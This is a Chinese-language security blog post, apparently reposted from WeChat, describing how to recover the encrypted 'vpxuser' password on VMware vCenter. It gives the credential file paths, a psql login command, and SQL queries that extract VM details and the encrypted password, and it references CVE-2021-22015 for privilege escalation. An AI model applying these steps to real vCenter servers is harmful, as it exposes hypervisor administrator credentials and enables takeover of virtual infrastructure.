0x01 前言
0x02 vpxuser
vpxuser是ESXI和vCenter第一次连接时自动创建的高权限用户,vCenter使用OpenSSL密码库作为随机来源,每30天生成一个新的vpxuser密码,密码长度为32个字符,该用户是被vpxd进程创建的,用来管理ESXI和vCenter之间的通信
vpxuser密文解密的过程如下:
1.登录vCenter服务器的PostgresDB数据库
2.找到服务器的vpxuser加密的密码
3.对vpxuser密码逆向解密
4.利用CVE-2021-22015去提升到解密所需要的高权限(root权限忽略)
PostgresDB的凭据
首先需要找到含有数据库密码的凭据文件
/etc/vmware-vpx/vcdb.properties
C:ProgramDataVMwarevCenterServercfgvmware-vpsvcdb.properties
使用数据库凭据登录数据库
/opt/vmware/vpostgres/current/bin/psql -d VCDB -U vc -w <Password>
vpxv_vms表相关信息
vpxv_vms字段如下
vmid
name
vmgroupid
hostid
configfilename |
vmuniqueid
resource_group_id
mem_size_mb
num_vcpu
boot_time
suspend_time
power_state
guest_os
guest_family
guest_state
memory_reservation
memory_overhead
cpu_reservation
dns_name
ip_address
vmmware_tool
tools_version
num_nic
num_disk
is_template
annotation
suspend_interval
aggr_commited_storage_space
aggr_uncommited_storage_space
aggr_unshared_storage_space
storage_space_updated_time
查询vpx的虚拟机信息
SELECT vmid,name,configfilename,guest_state,is_template FROM vpxv_vms;
SELECT vmid,name,configfilename,guest_state,is_template FROM vpxv_vms where guest_state='running';
获取vpxuser密文
从数据库获取vpxuser的密文
SELECT user_name, password FROM vc.vpx_host;
0x04 加密算法
iv是密文base64解密之后的前16位
0746243b3b7d8f0c19bfd62d10bac3ea
key和iv都确定之后 开始解密
公众号后台回复"vpxuser"获取工具链接
0x05 参考链接
https://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/
https://mp.weixin.qq.com/s/Q91wk8BIUO5cAp6_7_pt1A
原文始发于微信公众号(溪琉安全录):【vCenter】vpxuser密码解密
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论